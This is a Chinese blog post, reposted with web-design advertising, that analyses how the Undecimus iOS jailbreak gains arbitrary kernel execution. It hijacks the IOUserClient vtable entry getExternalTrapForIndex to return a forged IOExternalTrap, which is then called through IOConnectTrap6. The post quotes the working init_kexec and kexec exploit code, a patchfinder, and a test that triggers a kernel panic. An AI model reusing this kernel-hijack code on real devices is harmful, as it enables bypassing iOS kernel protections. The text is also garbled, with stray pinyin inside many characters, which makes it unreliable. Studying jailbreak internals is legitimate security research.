這篇文章主要介紹“IOTrap怎么實(shí)現(xiàn)內(nèi)核執(zhí)行的過(guò)程”,在日常操作中,相信很多人在IOTrap怎么實(shí)現(xiàn)內(nèi)核執(zhí)行的過(guò)程問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”IOTrap怎么實(shí)現(xiàn)內(nèi)核執(zhí)行的過(guò)程”的疑惑有所幫助!接下來(lái),請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧!
創(chuàng)新互聯(lián)建站是一家集網(wǎng)站建設(shè),葉集企業(yè)網(wǎng)站建設(shè),葉集品牌網(wǎng)站建設(shè),網(wǎng)站定制,葉集網(wǎng)站建設(shè)報(bào)價(jià),網(wǎng)絡(luò)營(yíng)銷,網(wǎng)絡(luò)優(yōu)化,葉集網(wǎng)站推廣為一體的創(chuàng)新建站企業(yè),幫助傳統(tǒng)企業(yè)提升企業(yè)形象加強(qiáng)企業(yè)競(jìng)爭(zhēng)力??沙浞譂M足這一群體相比中小企業(yè)更為豐富、高端、多元的互聯(lián)網(wǎng)需求。同時(shí)我們時(shí)刻保持專業(yè)、時(shí)尚、前沿,時(shí)刻以成就客戶成長(zhǎng)自我,堅(jiān)持不斷學(xué)習(xí)、思考、沉淀、凈化自己,讓我們?yōu)楦嗟钠髽I(yè)打造出實(shí)用型網(wǎng)站。
在 Undecimus 中,內(nèi)核任意代碼執(zhí)行是通過(guò) ROP Gadget 實(shí)現(xiàn)的。具體方法是劫持一個(gè)系統(tǒng)的函數(shù)指針,將其指向想要調(diào)用的函數(shù),再按照被劫持處的函數(shù)指針原型準(zhǔn)備參數(shù),最后設(shè)法觸發(fā)系統(tǒng)對(duì)被劫持指針的調(diào)用。
要實(shí)現(xiàn)上述 ROP,一個(gè)關(guān)鍵是找到一個(gè)可在 Userland 觸發(fā)、易劫持的函數(shù)指針調(diào)用,另一個(gè)關(guān)鍵是該函數(shù)指針的原型最好支持可變參數(shù)個(gè)數(shù),否則會(huì)對(duì)參數(shù)準(zhǔn)備帶來(lái)麻煩。所幸在 IOKit 中系統(tǒng)提供了 IOTrap 機(jī)制正好滿足上述所有條件。
IOKit 為 userland 提供了 IOConnectTrapX 函數(shù)來(lái)觸發(fā)注冊(cè)到 IOUserClient 的 IOTrap,其中 X 代表的是參數(shù)個(gè)數(shù),最大支持 6 個(gè)入?yún)ⅲ?/p>
kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6 ) { return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6); }
userland 的調(diào)用在內(nèi)核中對(duì)應(yīng) iokit_user_client_trap
函數(shù),具體實(shí)現(xiàn)如下:
kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args) { kern_return_t result = kIOReturnBadArgument; IOUserClient *userClient; if ((userClient = OSDynamicCast(IOUserClient, iokit_lookup_connect_ref_current_task((mach_port_name_t)(uintptr_t)args->userClientRef)))) { IOExternalTrap *trap; IOService *target = NULL; // find a trap trap = userClient->getTargetAndTrapForIndex(&target, args->index); if (trap && target) { IOTrap func; func = trap->func; if (func) { result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6); } } iokit_remove_connect_reference(userClient); } return result; }
上述代碼先將從 userland 傳入的 IOUserClient 句柄轉(zhuǎn)換為內(nèi)核對(duì)象,隨后從 userClient 上取出 IOTrap 執(zhí)行對(duì)應(yīng)的函數(shù)指針。因此只要劫持 getTargetAndTrapForIndex
并返回刻意構(gòu)造的 IOTrap,即可篡改內(nèi)核執(zhí)行的 target->*func
;更為完美的是,函數(shù)的入?yún)⑶『檬?userland 調(diào)用 IOConnectTrapX 的入?yún)ⅰ?/p>
下面我們看一下 getTargetAndTrapForIndex
的實(shí)現(xiàn):
IOExternalTrap * IOUserClient:: getTargetAndTrapForIndex(IOService ** targetP, UInt32 index) { IOExternalTrap *trap = getExternalTrapForIndex(index); if (trap) { *targetP = trap->object; } return trap; }
可見(jiàn) IOTrap 是從 getExternalTrapForIndex
方法返回的,繼續(xù)跟進(jìn)發(fā)現(xiàn)這是一個(gè)默認(rèn)實(shí)現(xiàn)為空的函數(shù):
IOExternalTrap * IOUserClient:: getExternalTrapForIndex(UInt32 index) { return NULL; }
可見(jiàn)此函數(shù)在父類上默認(rèn)不實(shí)現(xiàn),大概率是一個(gè)虛函數(shù),下面看一下 IOUserClient 的 class 的聲明來(lái)驗(yàn)證:
class IOUserClient : public IOService { // ... // Methods for accessing trap vector - old and new style virtual IOExternalTrap * getExternalTrapForIndex( UInt32 index ) APPLE_KEXT_DEPRECATED; // ... };
既然是虛函數(shù),我們可以結(jié)合 tfp0 修改 userClient 對(duì)象的虛函數(shù)表,篡改 getExternalTrapForIndex
的虛函數(shù)指針指向我們的 ROP Gadget,并在這里構(gòu)造好 IOTrap 返回。
在 Undecimus 的源碼中,getExternalTrapForIndex
的虛函數(shù)指針被指向了一個(gè)內(nèi)核中已存在的指令區(qū)域:
add x0, x0, #0x40 ret
這里沒(méi)有手動(dòng)構(gòu)造指令,應(yīng)該是考慮到構(gòu)造一個(gè)可執(zhí)行的頁(yè)成本較高,而復(fù)用一個(gè)已有的指令區(qū)域則非常簡(jiǎn)單。下面我們分析一下這兩條指令的作用。
因?yàn)?getExternalTrapForIndex
是一個(gè)實(shí)例方法,它的 x0 是隱含參數(shù) this,所以被劫持 getExternalTrapForIndex
的返回值為 this + 0x40,即我們要在 userClient + 0x40 處存儲(chǔ)一個(gè)刻意構(gòu)造的 IOTrap 結(jié)構(gòu):
struct IOExternalTrap { IOService * object; IOTrap func; };
再回憶下 IOTrap 的執(zhí)行過(guò)程:
trap = userClient->getTargetAndTrapForIndex(&target, args->index); if (trap && target) { IOTrap func; func = trap->func; if (func) { result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6); } }
這里的 target 即 IOTrap 的 object 對(duì)象,它作為函數(shù)調(diào)用的隱含入?yún)?this;而 func 即為被調(diào)用的函數(shù)指針。到這里一切都明朗了起來(lái):
將要執(zhí)行的符號(hào)地址寫(xiě)入 trap->func 即可執(zhí)行任意函數(shù);
將函數(shù)的第 0 個(gè)參數(shù)放置到 trap->object,第 1 ~ 6 個(gè)參數(shù)在調(diào)用 IOConnectTrap6 時(shí)傳入,即可實(shí)現(xiàn)可變?nèi)雲(yún)鬟f。
上述討論較為宏觀,忽略了一些重要細(xì)節(jié),下面將結(jié)合 Undecimus 源碼進(jìn)行詳細(xì)分析。
自 iPhone XS 開(kāi)始,蘋(píng)果在 ARM 處理器中擴(kuò)展了一項(xiàng)稱之為 PAC(Pointer Authentication Code) 的技術(shù),它將指針和返回地址使用特定的密鑰寄存器簽名,并在使用時(shí)驗(yàn)簽。一旦驗(yàn)簽失敗,將會(huì)解出一個(gè)無(wú)效地址引發(fā) Crash,它為各種常見(jiàn)的尋址指令增加了擴(kuò)展指令[1]:
BLR -> BLRA* LDRA -> LDRA* RET -> RETA*
這項(xiàng)技術(shù)給我們的 ROP 帶來(lái)了很**煩,在 Undecimus 中針對(duì) PAC 做了一系列特殊處理,整個(gè)過(guò)程十分復(fù)雜,本文不再展開(kāi),將在接下來(lái)的文章中詳細(xì)介紹 PAC 緩解措施及其繞過(guò)方式。有興趣的讀者可以閱讀 Examining Pointer Authentication on the iPhone XS 來(lái)詳細(xì)了解。
我們知道 C++ 對(duì)象的虛函數(shù)表指針位于對(duì)象的起始地址,而虛函數(shù)表中按照偏移存放著實(shí)例方法的函數(shù)指針[2],因此我們只要確定了 getExternalTrapForIndex
方法的偏移量,再利用 tfp0 篡改虛函數(shù)指向的地址即可實(shí)現(xiàn) ROP。
Undecimus 的相關(guān)源碼位于 init_kexec 中,我們先忽略 arm64e 對(duì) PAC 的處理,了解它的 vtable patch 方法,下面的代碼包含了 9 個(gè)關(guān)鍵步驟,已給出關(guān)鍵注釋:
bool init_kexec() { #if __arm64e__ if (!parameters_init()) return false; kernel_task_port = tfp0; if (!MACH_PORT_VALID(kernel_task_port)) return false; current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); if (!KERN_POINTER_VALID(current_task)) return false; kernel_task = ReadKernel64(getoffset(kernel_task)); if (!KERN_POINTER_VALID(kernel_task)) return false; if (!kernel_call_init()) return false; #else // 1. 創(chuàng)建一個(gè) IOUserClient user_client = prepare_user_client(); if (!MACH_PORT_VALID(user_client)) return false; // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable // 2. 獲取 IOUserClient 的內(nèi)核地址,它是一個(gè) ipc_port IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false; // 3. 從 ipc_port->kobject 獲取 IOUserClient 對(duì)象 IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false; // 4. 虛函數(shù)指針位于 C++ 對(duì)象的起始地址 kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false; // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel // Create the vtable in the kernel memory, then copy the existing vtable into there // 5. 構(gòu)造和拷貝虛函數(shù)表 fake_vtable = kmem_alloc(fake_kalloc_size); if (!KERN_POINTER_VALID(fake_vtable)) return false; for (int i = 0; i < 0x200; i++) { WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8)); } // Create the fake user client // 6. 構(gòu)造一個(gè) IOUserClient 對(duì)象,并拷貝內(nèi)核中 IOUserClient 的內(nèi)容到構(gòu)造的對(duì)象 fake_client = kmem_alloc(fake_kalloc_size); if (!KERN_POINTER_VALID(fake_client)) return false; for (int i = 0; i < 0x200; i++) { WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8)); } // Write our fake vtable into the fake user client // 7. 將構(gòu)造的虛函數(shù)表寫(xiě)入構(gòu)造的 IOUserClient 對(duì)象 WriteKernel64(fake_client, fake_vtable); // Replace the user client with ours // 8. 將構(gòu)造的 IOUserClient 對(duì)象寫(xiě)回 IOUserClient 對(duì)應(yīng)的 ipc_port WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client); // Now the userclient port we have will look into our fake user client rather than the old one // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) // 9. 將特定指令區(qū)域的地址寫(xiě)入到虛函數(shù)表的第 183 個(gè) Entity // 它對(duì)應(yīng)的是 getExternalTrapForIndex 的地址 WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret)); #endif pthread_mutex_init(&kexec_lock, NULL); return true; }
此時(shí)我們已經(jīng)修改了構(gòu)造的 userClient 的 getExternalTrapForIndex
邏輯,接下來(lái)只需要對(duì) userClient 調(diào)用 IOConnectTrap6 即可實(shí)現(xiàn) ROP 攻擊,剩下的一個(gè)關(guān)鍵步驟是準(zhǔn)備 IOTrap 作為 ROP Gadget 的返回值。
由于 getExternalTrapForIndex
被指向了如下指令:
add x0, x0, #0x40 ret
我們需要在 userClient + 0x40 處構(gòu)造一個(gè) IOTrap:
struct IOExternalTrap { IOService * object; IOTrap func; };
根據(jù)前面的討論,object 應(yīng)當(dāng)被賦予被調(diào)用函數(shù)的第 0 個(gè)參數(shù)地址,func 應(yīng)當(dāng)賦予被調(diào)用函數(shù)的地址,然后再將函數(shù)的第 1 ~ 6 個(gè)參數(shù)通過(guò) IOConnectTrap 的 args 傳入。下面我們來(lái)看 Undecimus 中 kexec 的具體實(shí)現(xiàn),筆者在其中補(bǔ)充了一些注釋:
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6) { kptr_t returnval = 0; pthread_mutex_lock(&kexec_lock); #if __arm64e__ returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6); #else // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed // through like normal. // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents // (i'm not actually sure if the switch back is necessary but meh) // IOTrap starts at +0x40 // fake_client 即我們構(gòu)造的 userClient // 0ffx20 為 IOTrap->object,offx28 為 IOTrap->func,這里是對(duì)原始值進(jìn)行備份 kptr_t offx20 = ReadKernel64(fake_client + 0x40); kptr_t offx28 = ReadKernel64(fake_client + 0x48); // IOTrap->object = arg0 WriteKernel64(fake_client + 0x40, x0); // IOTrap->func = func_ptr WriteKernel64(fake_client + 0x48, ptr); // x1~x6 為函數(shù)的第 1 ~ 6 個(gè)參數(shù),第 0 個(gè)參數(shù)通過(guò) trap->object 傳入 returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6); // 這里對(duì)原始值進(jìn)行恢復(fù) WriteKernel64(fake_client + 0x40, offx20); WriteKernel64(fake_client + 0x48, offx28); #endif pthread_mutex_unlock(&kexec_lock); return returnval; }
基于上述討論這段代碼還是很好理解的,到這里非 arm64e 架構(gòu)下的內(nèi)核任意代碼執(zhí)行原理就講解完了,有關(guān) arm64e 的討論將在下一篇文章中繼續(xù),下面我們用 kexec 做一個(gè)實(shí)驗(yàn)來(lái)驗(yàn)證 Primitive 的達(dá)成。
請(qǐng)讀者打開(kāi) Undecimus 源碼的 jailbreak.m
,搜索 _assert(init_kexec()
定位到初始化 kexec 的代碼,向上翻可以發(fā)現(xiàn) kexec 的初始化被放到了 ShenanigansPatch 和 setuid(0) 之后。ShenanigansPatch 是用來(lái)解決內(nèi)核對(duì) sandbox 化進(jìn)程的 ucred 檢查而采取的繞過(guò)措施[3],它是通過(guò) String XREF 定位和修改內(nèi)核全局變量實(shí)現(xiàn)的,有興趣的讀者可以自行閱讀 Shenanigans, Shenanigans! 來(lái)了解。
對(duì)于非 arm64e 設(shè)備,似乎僅通過(guò) tfp0 即可實(shí)現(xiàn) kexec,這段處理應(yīng)該是針對(duì) arm64e 設(shè)備繞過(guò) PAC 所做的必要提權(quán)處理。
我們的實(shí)驗(yàn)代碼一定要放到 init_kexec
執(zhí)行成功之后才行。
在 Undecimus 中獲得了許多關(guān)鍵函數(shù)的地址,它們通過(guò)聲明一個(gè)名為 find_xxx 的導(dǎo)出符號(hào)實(shí)現(xiàn)動(dòng)態(tài)查找和緩存,需要注意的是,在 kexec 初始化后 kerneldump 已經(jīng)被釋放,因此必須在初始化 kerneldump 時(shí)就計(jì)算好函數(shù)的地址。
我們先參考 Undecimus 是如何查找和緩存一個(gè)內(nèi)核數(shù)據(jù)的,以 vnodelookup 函數(shù)為例:首先我們需要在 patchfinder64.h
中聲明一個(gè)名為 `find` 的函數(shù),它返回被查找符號(hào)的地址:
uint64_t find_vnode_lookup(void);
隨后基于 String XREF 完成查找的實(shí)現(xiàn):
addr_t find_vnode_lookup(void) { addr_t hfs_str = find_strref("hfs: journal open cb: error %d looking up device %s (dev uuid %s)\n", 1, string_base_pstring, false, false); if (!hfs_str) return 0; hfs_str -= kerndumpbase; addr_t call_to_stub = step64_back(kernel, hfs_str, 10*4, INSN_CALL); if (!call_to_stub) return 0; return follow_stub(kernel, call_to_stub); }
隨后在 kerneldump 階段通過(guò)宏函數(shù) find_offset 完成查找:
find_offset(vnode_lookup, NULL, true);
上述宏函數(shù)會(huì)動(dòng)態(tài)調(diào)用 find_
函數(shù)并將結(jié)果緩存起來(lái),隨后可通過(guò) getoffset
宏函數(shù)來(lái)獲取相應(yīng)的偏移:
kptr_t const function = getoffset(vnode_lookup);
這里我們照貓畫(huà)虎的創(chuàng)建一個(gè) panic 函數(shù)偏移:
uint64_t find_panic(void) { addr_t ref = find_strref("\"shenanigans!", 1, string_base_pstring, false, false); if (!ref) { return 0; } return ref + 0x4; }
這里查找的代碼是位于 sandbox.kext 中的 panic 語(yǔ)句:
panic("\"shenanigans!\"");
通過(guò) String XREF 我們能定位到 panic 調(diào)用前的 add 指令,下一條指令一定是 bl _panic
,因此將查找結(jié)果 + 4 即可得到內(nèi)核中 panic 函數(shù)的地址。
在上文中我們找到了 panic 函數(shù)的地址,這里嘗試用一個(gè)自定義字符串觸發(fā)一個(gè) kernel panic,注意由于 SMAP 的存在,panic string 要從 userland 拷貝到 kernel:
// play with kexec uint64_t function = getoffset(panic); const char *testStr = "this panic is caused by userland!!!!!!!!!!!!!!!"; kptr_t kstr = kmem_alloc(strlen(testStr)); kwrite(kstr, testStr, strlen(testStr)); kptr_t ret = kexec(function, (kptr_t)kstr, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL); NSLog(@"result is %@", @(ret)); kmem_free(kstr, sizeof(testStr));
隨后運(yùn)行 Undecimus,會(huì)發(fā)生 kernel panic,為了驗(yàn)證我們成功調(diào)用了內(nèi)核的 panic 函數(shù),在 iPhone 上打開(kāi)設(shè)置頁(yè),打開(kāi) Privacy->Analytics->Analytics Data
,找到其中以 panic-full
開(kāi)頭的最新日志,如果試驗(yàn)成功可以看到如下內(nèi)容:
到此,關(guān)于“IOTrap怎么實(shí)現(xiàn)內(nèi)核執(zhí)行的過(guò)程”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請(qǐng)繼續(xù)關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)?lái)更多實(shí)用的文章!